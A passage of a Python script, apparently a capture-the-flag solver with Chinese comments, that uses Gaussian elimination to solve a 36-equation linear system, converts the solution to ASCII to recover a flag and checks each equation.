4, 35, 23, 52, 11, 15, 83, 51],
[33, 47, 89, 52, 89, 55, 98, 28, 48, 90, 69, 29, 68, 24, 19, 18, 44, 27, 14, 64, 15, 31, 23, 2, 36, 45, 37, 71,
61, 92, 28, 64, 13, 66, 98, 3],
[80, 88, 68, 66, 46, 75, 32, 19, 36, 83, 63, 86, 79, 30, 61, 50, 100, 52, 66, 30, 20, 97, 45, 46, 38, 21, 32,
79, 68, 43, 65, 47, 86, 30, 74, 18],
[11, 58, 95, 67, 96, 74, 60, 11, 21, 14, 100, 60, 70, 92, 92, 39, 43, 52, 5, 22, 90, 70, 12, 52, 36, 21, 45, 59,
74, 46, 11, 60, 8, 52, 14, 77],
[57, 37, 94, 43, 53, 55, 7, 83, 91, 61, 86, 6, 44, 87, 61, 92, 24, 74, 100, 22, 12, 68, 19, 88, 81, 83, 70, 39,
30, 82, 30, 35, 55, 18, 27, 80],
[80, 14, 5, 89, 71, 82, 44, 8, 33, 26, 77, 49, 36, 90, 73, 71, 66, 4, 37, 78, 38, 18, 15, 79, 6, 74, 18, 85, 56,
53, 90, 75, 52, 2, 13, 54],
[96, 29, 37, 70, 92, 80, 24, 36, 32, 29, 78, 45, 58, 55, 16, 92, 71, 82, 86, 23, 4, 58, 16, 18, 38, 53, 82, 76,
83, 73, 87, 36, 61, 85, 61, 69],
[14, 71, 53, 46, 59, 53, 22, 69, 67, 43, 23, 14, 77, 95, 19, 83, 79, 41, 12, 53, 3, 4, 65, 92, 64, 52, 3, 59,
89, 75, 12, 46, 61, 53, 97, 43],
[57, 99, 49, 100, 68, 99, 26, 65, 47, 65, 90, 68, 84, 4, 9, 43, 88, 33, 48, 88, 37, 31, 21, 94, 22, 93, 70, 14,
13, 28, 83, 12, 80, 58, 43, 97],
[33, 94, 56, 48, 13, 44, 81, 42, 19, 96, 67, 79, 12, 67, 34, 72, 45, 48, 24, 71, 65, 13, 32, 97, 48, 42, 65, 95,
54, 9, 35, 57, 18, 20, 83, 76],
[31, 38, 83, 45, 28, 97, 54, 11, 80, 45, 92, 13, 52, 94, 51, 30, 11, 61, 46, 10, 28, 72, 20, 95, 90, 39, 32, 95,
19, 3, 65, 71, 73, 80, 23, 71],
[9, 81, 80, 37, 96, 72, 95, 93, 26, 98, 50, 79, 57, 13, 49, 96, 82, 84, 89, 40, 38, 66, 81, 81, 79, 77, 86, 68,
26, 37, 15, 56, 13, 17, 50, 37],
[82, 57, 33, 32, 79, 25, 54, 27, 50, 14, 72, 31, 28, 66, 4, 6, 48, 34, 63, 51, 12, 21, 73, 66, 53, 38, 54, 59,
76, 63, 61, 30, 84, 80, 98, 46],
[69, 15, 23, 8, 46, 55, 21, 91, 37, 9, 61, 20, 23, 96, 28, 67, 19, 50, 18, 71, 30, 14, 10, 24, 100, 15, 91, 15,
93, 24, 46, 61, 67, 60, 56, 81],
]
# 常数向量 b
b = [
176386, 186050, 154690, 172116, 190544, 190323, 162017, 165118, 153332,
168472, 178706, 143852, 154052, 147899, 176754, 171970, 166497, 173887,
173189, 174138, 157623, 154943, 156078, 156158, 181770, 173577, 180922,
158596, 181072, 163777, 187620, 169266, 162587, 198705, 160349, 148095
]
print("=" * 60)
print("开始求解线性方程组...")
print("方程数量: 36")
print("变量数量: 36")
print("=" * 60)
try:
# 求解线性方程组
print("\n正在使用高斯消元法求解...")
flag_values_float = gauss_elimination(A, b)
# 四舍五入到最接近的整数(因为 ASCII 值必须是整数)
flag_values = [round(val) for val in flag_values_float]
print("✓ 求解成功!\n")
print("求解结果(ASCII 值):")
for i in range(0, len(flag_values), 10):
print(f" {flag_values[i:i + 10]}")
# 转换为字符
flag = ''.join(chr(val) for val in flag_values)
print("\n" + "=" * 60)
print("解密后的 FLAG:")
print("=" * 60)
print(flag)
print("=" * 60)
# 验证结果
print("\n验证结果...")
verify_flag(flag_values, A, b)
return flag
except Exception as e:
print(f"\n✗ 发生错误:{e}")
import traceback
traceback.print_exc()
return None
def verify_flag(flag_values, A, b):
"""验证解是否正确"""
print("\n验证每个方程:")
all_correct = True
error_count = 0
max_error = 0
for i in range(len(b)):
# 计算第 i 个方程的左边
result = sum(A[i][j] * flag_values[j] for j in range(len(flag_values)))
diff = abs(result - b[i])
max_error = max(max_error, diff)
if diff < 1.0: # 允许小误差
status = "✓"
else:
status = "✗"
all_correct = False
error_count += 1
# 只显示前5个和最后5个,以及有错误的
if i < 5 or i >= len(b) - 5 or diff >= 1.0:
print(f" 方程 {i + 1:2d}: 计算值 = {result:8.1f}, 期望值 = {b[i]:8.1f}, 误差 = {diff:6.2f} {status}")
elif i == 5:
print(" ...")
print(f"\n最大误差: {max_error:.2f}")
if error_count == 0:
print("\n" + "✓" * 60)
print("所有 36 个方程验证通过!FLAG 正确!")
print("✓" * 60)
else:
print(f"\n✗ 有 {error_count} 个方程验证失败")
def main():
print("""
╔══════════════════════════════════════════════════════════╗
║ CTF FLAG 解密工具 - 纯 Python 版本 ║
║ 使用高斯消元法求解线性方程组 ║
║ 不需要任何外部依赖库 ║
╚══════════════════════════════════════════════════════════╝
""")
flag = solve_flag()
if flag:
print("\n✓ 解密完成!")
print("\n请将上面的 FLAG 复制到题目中验证。")
else:
print("\n✗ 解密失败,请检查错误信息")
input("\n按 Enter 键退出...")
if __name__ == '__main__':
main()
